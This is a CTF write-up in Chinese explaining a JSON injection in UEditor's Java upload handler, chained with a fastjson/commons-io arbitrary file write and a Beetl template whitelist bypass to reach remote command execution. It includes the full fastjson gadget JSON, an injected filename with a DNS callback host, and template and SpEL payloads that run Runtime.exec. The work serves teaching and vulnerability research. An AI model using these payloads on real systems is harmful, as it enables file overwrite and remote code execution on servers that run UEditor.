TL;DR
前段时间给venom
招新赛出了两道题,其中的java
题源自去年审计ueditor java
版本源码时发现的一个小问题,感觉有希望产出一些漏洞,接着探索了一下发现确实有洞。总体而言利用面相对较小,但是应该可以当个挖洞思路扩展吧。文末给出了漏洞复现靶场环境。
ueditor的JSON注入隐患
ueditor
ueditor
在2023
年在github
上停止维护,实际上五年前就不在更新了。在java
版本当中,官方给出了上传文件的标准用法,即调用String json = new ActionEnter(request, rootPath).exec()
,正常来说后端直接返回json
字符串即可。
但是,如果开发者想修改返回的属性(增删几个key
)的话,还是会用JSON
解析库解析json
,如果在json
字符串(部分)可控的情况下,此时可能会出现安全问题。大概扫了一眼国内的CMS
引入ueditor
还挺多的,师父们可以看看有哪些cms
调用了ueditor
并且进行不安全编码规范导致漏洞触发,没准能刷点0day
。
喜提忽略一枚:
隐患分析
潜在隐患,也就是sink
在com.baidu.ueditor.define.BaseState#toString
方法中,new ActionEnter(request, rootPath).exec()
实际上调用的就是该方法。
其主要逻辑是对map
进行遍历,把key
和value
进行处理最终制作成JSON
字符串形式。
其中key
和value
用+
进行拼接,如果key
或value
可控的话可能会导致json
注入问题。
我们来找一下key
或value
是否可控,ActionEnter#invoke
方法调用了state#toJSONString
,可以看到当ActionMap
为UPLOAD_FILE
(文件上传)操作时会触发 Uploader#doExec
。
接着看Uploader#doExec
的逻辑,这里会根据是否base64
调用不同类的save
方法。当操作为UPLOAD_FILE
时配置类ConfigManager
的isBase64
为false
,所以Uploader#doExec
触发BinaryUploader#save
。
case ActionMap.UPLOAD_FILE:
conf.put("isBase64", "false");
conf.put("maxSize", this.jsonConfig.getLong("fileMaxSize"));
conf.put("allowFiles", this.getArray("fileAllowFiles"));
conf.put("fieldName", this.jsonConfig.getString("fileFieldName"));
savePath = this.jsonConfig.getString("filePathFormat");
break;
继续审计BinaryUploader#save
函数,可以看到originFileName
是由上传表单的filename
控制的,找到了可控点。值得注意的是程序校验了后缀名,这很好绕过。令filename
为filename=flag","vulnerable":"hacked","a":".txt
即可绕过检测。最终会把originFileName
放进BaseState
当中。
接着触发toJSONString
通过拼接把恶意字符处理为字符串,也就是开头提到的sink
。
发现以上函数调用可以通过/ueditor
路由触发,其中返回的json
为恶意字符串,最终把json
传给了uploadService#uploadHandle
。因此我们可以看看uplodaHandle
方法干了啥,使得一个JSON
注入隐患最终造成远程命令执行。
漏洞触发思考
到目前为止仅仅是存在一个隐患,如果开发者没有解析JSON
字符串那么不会造成真正的危害,当时想应该有两个利用面。
- 直接使用
fastjson#parse
解析该字符串,倘若fj
的版本较低,那么可以RCE
。 - 需要观察开发解析字符串后的逻辑,比如开发自己实现了备份文件的功能,而备份文件的路径取自
filepath
之类的,此时利用JSON
注入注进去一个同名属性filepath
,可能会覆盖点原有的filepath
从而造成任意文件上传。
利用
当时确实找到了几个洞,其中star
最多的cms
被我修修改改做成了这道题,实际上就是低版本fastjson
解析的问题啦。
题目只有登录,文件上传功能。
其中IndexController
处理登录逻辑,不存在注入问题。
UploadController
要求登陆用户为admin
才能上传,弱口令admin/admin
即可登录。
public String upload(HttpServletRequest request, Model model, HttpSession session, @RequestParam(value = "action",required = false) String action) throws URISyntaxException {
String user=(String) session.getAttribute("user");
if(!"admin".equals(user)){
model.addAttribute("message","no way");
return "upload";
}
if(action == null){
model.addAttribute("message","传个文件吧");
return "upload";
}
String json = new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
String contextPath = request.getContextPath();
// 文件处理
String handlerOut = uploadService.uploadHandle(action, json, contextPath);
model.addAttribute("message",handlerOut);
return "upload";
}
真正处理文件上传逻辑在new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
,即调用了ueditor
提供的函数来实现文件上传,而UploadServiceImpl#uploadFileHandler
方法仅仅是多加了一个返回字段。
我猜有些师傅看到文件上传就会想到上传btl
来覆盖test.btl
等模板来打模板注入RCE
,但ueditor
的文件上传逻辑限制的比较死。一方面是通过config.json
来限制了文件后缀,不能上传btl
;另一方面也没法目录穿越。
所以很快就能发现UploadServiceImpl#uploadFileHandler
方法十分可疑。这里通过parseObject
处理outJsonString
字符串,再看一眼fj
的依赖不是最新的,当时也是给出了提示,很明显sink
就在这里。
protected String uploadFileHandler(String outJsonString, String contextPath) {
State state = null;
JSONObject json = JSON.parseObject(outJsonString);
if (!"SUCCESS".equals(json.getString("state"))) {
return "error";
}
json.put("author","squirt1e");
return state == null ? outJsonString : state.toJSONString();
}
如果outJsonString
可控就可以利用了,而outJsonString
是ueditor
的方法返回的字符串,需要审计ueditor
源码,就是上面那一部分。
fastjson common-io任意文件写
uploadHandle
通过parseObject
方法对恶意字符串进行解析,可以看到json
已经被污染了。
本题用到的fastjson
为1.2.66
,版本不高存在利用的可能。观察pom.xml
发现存在commons-io 2.7
(多提一嘴ueditor.jar
本身引入了common-io
)。不难想到fastjson1.2.68
结合common-io2.x
可以打一个任意文件写入,构造原理可以参考su18
发的博客。值得注意的一点是json
的第一个属性"state":"SUCCESS
"是不可控的,令filename
为flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt
即可正常恢复Java Bean
。
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
除了属性开头的坑之外还有好多坑,实际上ueditor Json injection
那里大概看了没多久就审出来了,但是利用卡了我一天。。
第一点是fj
调用构造函数存在随机性,而WriterOutputStream
恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream
构造方法的第二个属性是charset
或charsetName
,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public
。
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}
public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}
第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec
中限制了相对路径写入。不过题目应该会给docker
所以选手到时候看docker
里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。
else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
} else {
return new File(strVal);
}
第三点是写不进去双引号"
,分号;
之类的字符。这部分不是任意文件写这条gadget
的问题,而是因为ueditor
这里的JSON
注入是个http
请求头中的filename
注入,所以写一些奇怪字符会导致http
请求出现一些问题。结合beetl
语法用parameter.a
就能绕过了。后续在访问恶意模板时加个参数?a
即可。
beetl模板RCE
这部分和本文主旨无关,不过在出现漏洞的cms
中用到了beetl
模版,因此在文件写的利用场景中写模版是个较好的RCE
方法。
beetle
国产模板实际上很好RCE
,模板支持java
方法以及属性调用。并且防护类DefaultNativeSecurityManager
就一个黑名单,翻翻issue
就能找到payload
。
所以我参考patch
写了一个看似无懈可击的白名单类。
只允许调用venom.elephantcms
的方法,选手只能调用我自己写的方法,而往下翻翻就找到了这个类居然有个test
方法可以重新定义callPattern
白名单,callPattern
我故意没写final
修饰。
public class WhiteListNativeSecurityManager implements NativeSecurityManager {
public static Pattern callPattern = null;
public WhiteListNativeSecurityManager(){
allow(Arrays.asList("venom.elephantcms"));
}
@Override
public boolean permit(Object resourceId, Class c, Object target, String method) {
if (c.isArray()) {
return true;
}
String name = c.getName();
String className = null;
String pkgName = null;
int i = name.lastIndexOf('.');
if (i == -1) {
// 无包名,肯定安全,允许调用
return true;
}
return callPattern.matcher(name).matches();
}
public static String test(String test){
allow(Arrays.asList(test.split(",")));
return "ok";
}
/**
* 指定白名单,默认是java.util
* @param calls ,调用,如 [java.util,java.io.File]
*/
public static void allow(List<String> calls){
StringBuilder sb = new StringBuilder();
for(String pkg:calls){
int c = pkg.lastIndexOf('.');
boolean classCall = false;
if(Character.isUpperCase(pkg.charAt(c+1))){
classCall = true;
}
if(classCall){
sb.append(pkg.replace(".","\\."));
}else{
sb.append(pkg.replace(".","\\.")).append("\\..*");
}
sb.append("|");
}
sb.setLength(sb.length()-1);
callPattern = Pattern.compile(sb.toString());
}
}
能自己定义白名单类的话就随便绕了。
总结
思路很明确:通过构造恶意的文件名打一个JSON
注入攻击parseObject
覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl
,第一次文件写入调用test
方法覆盖白名单多放点包路径。
${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
第二次文件写入覆盖upload.btl
打RCE
即可。
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()
不过还有个坑点就是第二步覆盖的模板不能是test.btl
了,可能是缓存的原因导致即便写入第二次的payload
访问模板还是会执行第一次的payload
。
梭:
非预期
“随便打打”师傅在比赛过程中做出了这道题,用的是fastjson mysql
任意文件读出来的flag
,我觉得只要审出来json
拼接就算是预期。另外其实任意文件写jsp
理论上也可以,不过由于挖的那个day
是jfinal
框架写的,filter
过滤了jsp
,不过这里的过滤其实也有办法绕过就是了。
关于jsp
写webshell
需要分号;
的问题(写不了分号的原因在上面提到了),我当时是没有解决所以这里预期解是覆盖.btl
模版。之前读RFC
标准的时候好像看到有可以url
编码请求头的操作,因此还是有希望解决的。
半自动化思路
github
是支持代码搜索的,所以我们可以通过github
提供的搜索接口来寻找引入ueditor
的java
项目,但显然国内的cms
引入ueditor
会多一些,但可惜gitee
上不提供代码检索功能,即便如此,通过利用github
提供的检索功能我还是找到了一百多个项目引入了java版本的ueditor
。
第二步就是简单的污点分析,这部分其实只要检测String json = new ActionEnter(request, rootPath).exec()
是否流入危险的fastjson#parse
函数,或者流入开发自己写的方法应该就可以了。之后人工筛查检测到的结果做进一步验证,简单污点分析可以通过命令行调semgrep
来做。可能是自动化思路有问题,也可能是这种漏洞模式很少见,最后发现漏洞不多。不过最大的收获是得到了一个3000 star cms
的未授权远程命令执行,也算是一次尝试吧。
靶场地址
https://github.com/yuebusao/challenge_2024_venomctf_web_elephant